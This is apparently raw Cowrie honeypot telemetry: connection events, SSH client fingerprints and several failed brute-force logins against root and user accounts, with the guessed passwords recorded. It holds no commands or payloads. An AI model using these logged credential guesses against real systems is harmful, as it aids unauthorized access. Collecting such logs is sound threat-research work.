{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:26.780123Z","src_ip":"4.210.91.174","session":"31d9cef0553d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:27.850237Z","src_ip":"4.210.91.174","session":"31d9cef0553d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":36718,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1fc4e93d079","protocol":"ssh","message":"New connection: 200.77.172.159:36718 (159.203.135.109:22) [session: b1fc4e93d079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:33.325557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:33.330170Z","src_ip":"200.77.172.159","session":"b1fc4e93d079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:33.403452Z","src_ip":"200.77.172.159","session":"b1fc4e93d079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bastos","message":"login attempt [root/bastos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:33.726766Z","src_ip":"200.77.172.159","session":"b1fc4e93d079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:34.804687Z","src_ip":"200.77.172.159","session":"b1fc4e93d079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49426,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe03df57053f","protocol":"telnet","message":"New connection: 50.6.8.71:49426 (10.17.0.5:23) [session: fe03df57053f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:37.362888Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":40616,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b58b7eadf4","protocol":"ssh","message":"New connection: 147.45.211.215:40616 (10.17.0.5:22) [session: 96b58b7eadf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:39.718334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:39.723897Z","src_ip":"147.45.211.215","session":"96b58b7eadf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:39.906578Z","src_ip":"147.45.211.215","session":"96b58b7eadf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:40.438087Z","src_ip":"147.45.211.215","session":"96b58b7eadf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b737548dff1","protocol":"telnet","message":"New connection: 50.6.8.71:49432 (10.17.0.5:23) [session: 7b737548dff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:40.707971Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:41.618509Z","src_ip":"147.45.211.215","session":"96b58b7eadf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":49442,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1385eb0ff6c","protocol":"telnet","message":"New connection: 50.6.8.71:49442 (10.17.0.5:23) [session: d1385eb0ff6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:44.299047Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":37134,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c58f34aca4f","protocol":"ssh","message":"New connection: 178.20.210.186:37134 (10.17.0.5:22) [session: 3c58f34aca4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:45.224917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:45.230314Z","src_ip":"178.20.210.186","session":"3c58f34aca4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:45.331635Z","src_ip":"178.20.210.186","session":"3c58f34aca4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0l0ctyQh243O63uD","message":"login attempt [root/0l0ctyQh243O63uD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:46.395566Z","src_ip":"178.20.210.186","session":"3c58f34aca4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:47.492810Z","src_ip":"178.20.210.186","session":"3c58f34aca4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36f13c06a41","protocol":"telnet","message":"New connection: 50.6.8.71:52600 (10.17.0.5:23) [session: b36f13c06a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:50.123678Z"}
{"eventid":"cowrie.session.closed","duration":38.7611620426178,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:53.378252Z","src_ip":"50.6.8.71","session":"b400fa45c22b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52618,"dst_ip":"10.17.0.5","dst_port":23,"session":"392c7a536dbd","protocol":"telnet","message":"New connection: 50.6.8.71:52618 (10.17.0.5:23) [session: 392c7a536dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:55.083525Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52612,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ecf279b2f18","protocol":"telnet","message":"New connection: 50.6.8.71:52612 (10.17.0.5:23) [session: 7ecf279b2f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:21:58.445181Z"}
{"eventid":"cowrie.session.closed","duration":120.0094678401947,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:06.506514Z","src_ip":"181.94.225.234","session":"9f4bf5edaadf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":25799,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5553342497","protocol":"telnet","message":"New connection: 181.94.225.234:25799 (159.203.135.109:23) [session: bb5553342497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:07.900784Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57978,"dst_ip":"10.17.0.5","dst_port":23,"session":"866e42f7fd9a","protocol":"telnet","message":"New connection: 50.6.8.71:57978 (10.17.0.5:23) [session: 866e42f7fd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:10.284654Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b677fbbaf82","protocol":"telnet","message":"New connection: 50.6.8.71:57972 (10.17.0.5:23) [session: 4b677fbbaf82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:10.731434Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.94.225.234","src_port":26256,"dst_ip":"159.203.135.109","dst_port":23,"session":"edcc8fa5783c","protocol":"telnet","message":"New connection: 181.94.225.234:26256 (159.203.135.109:23) [session: edcc8fa5783c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:12.563691Z"}
{"eventid":"cowrie.session.closed","duration":47.621593713760376,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:12.639391Z","src_ip":"50.6.8.71","session":"568c8f2d621c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50288,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5d8c9baca61","protocol":"telnet","message":"New connection: 50.6.8.71:50288 (10.17.0.5:23) [session: a5d8c9baca61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:16.466433Z"}
{"eventid":"cowrie.session.closed","duration":39.732261419296265,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:17.095020Z","src_ip":"50.6.8.71","session":"fe03df57053f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.222333669662476,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:17.930177Z","src_ip":"50.6.8.71","session":"7b737548dff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50300,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fe6129aca2c","protocol":"telnet","message":"New connection: 50.6.8.71:50300 (10.17.0.5:23) [session: 4fe6129aca2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:18.510327Z"}
{"eventid":"cowrie.session.closed","duration":35.479050397872925,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:19.777843Z","src_ip":"50.6.8.71","session":"d1385eb0ff6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50318,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d31eaa4b065","protocol":"telnet","message":"New connection: 50.6.8.71:50318 (10.17.0.5:23) [session: 9d31eaa4b065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:23.019500Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50308,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a16f1341f70","protocol":"telnet","message":"New connection: 50.6.8.71:50308 (10.17.0.5:23) [session: 0a16f1341f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:23.917461Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60178,"dst_ip":"159.203.135.109","dst_port":22,"session":"3af5823500aa","protocol":"ssh","message":"New connection: 194.59.206.2:60178 (159.203.135.109:22) [session: 3af5823500aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:24.744649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:24.749329Z","src_ip":"194.59.206.2","session":"3af5823500aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:24.840787Z","src_ip":"194.59.206.2","session":"3af5823500aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:24.951961Z","src_ip":"194.59.206.2","session":"3af5823500aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.350595474243164,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:30.474149Z","src_ip":"50.6.8.71","session":"b36f13c06a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"abf17ca0ac15","protocol":"telnet","message":"New connection: 23.94.28.189:36592 (10.17.0.5:23) [session: abf17ca0ac15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:33.816884Z"}
{"eventid":"cowrie.session.closed","duration":35.39196014404297,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:33.837024Z","src_ip":"50.6.8.71","session":"7ecf279b2f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":26420,"dst_ip":"10.17.0.5","dst_port":22,"session":"cee53cc7a944","protocol":"ssh","message":"New connection: 2.57.121.25:26420 (10.17.0.5:22) [session: cee53cc7a944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:35.898723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:35.906812Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:36.011238Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54210,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d392e8da02","protocol":"telnet","message":"New connection: 50.6.8.71:54210 (10.17.0.5:23) [session: 13d392e8da02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:36.017372Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"cwoui","message":"login attempt [user/cwoui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:36.498501Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"culture","message":"login attempt [user/culture] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:37.605137Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crush","message":"login attempt [user/crush] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:38.711551Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.810147762298584,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:38.893556Z","src_ip":"50.6.8.71","session":"392c7a536dbd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"crusade","message":"login attempt [user/crusade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:39.817832Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"crfprf","message":"login attempt [user/crfprf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:40.924921Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.67687153816223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:41.961344Z","src_ip":"50.6.8.71","session":"866e42f7fd9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:42.031653Z","src_ip":"2.57.121.25","session":"cee53cc7a944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":33480,"dst_ip":"159.203.135.109","dst_port":22,"session":"e133a2d0e893","protocol":"ssh","message":"New connection: 200.77.172.159:33480 (159.203.135.109:22) [session: e133a2d0e893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:22:43.344251Z"}
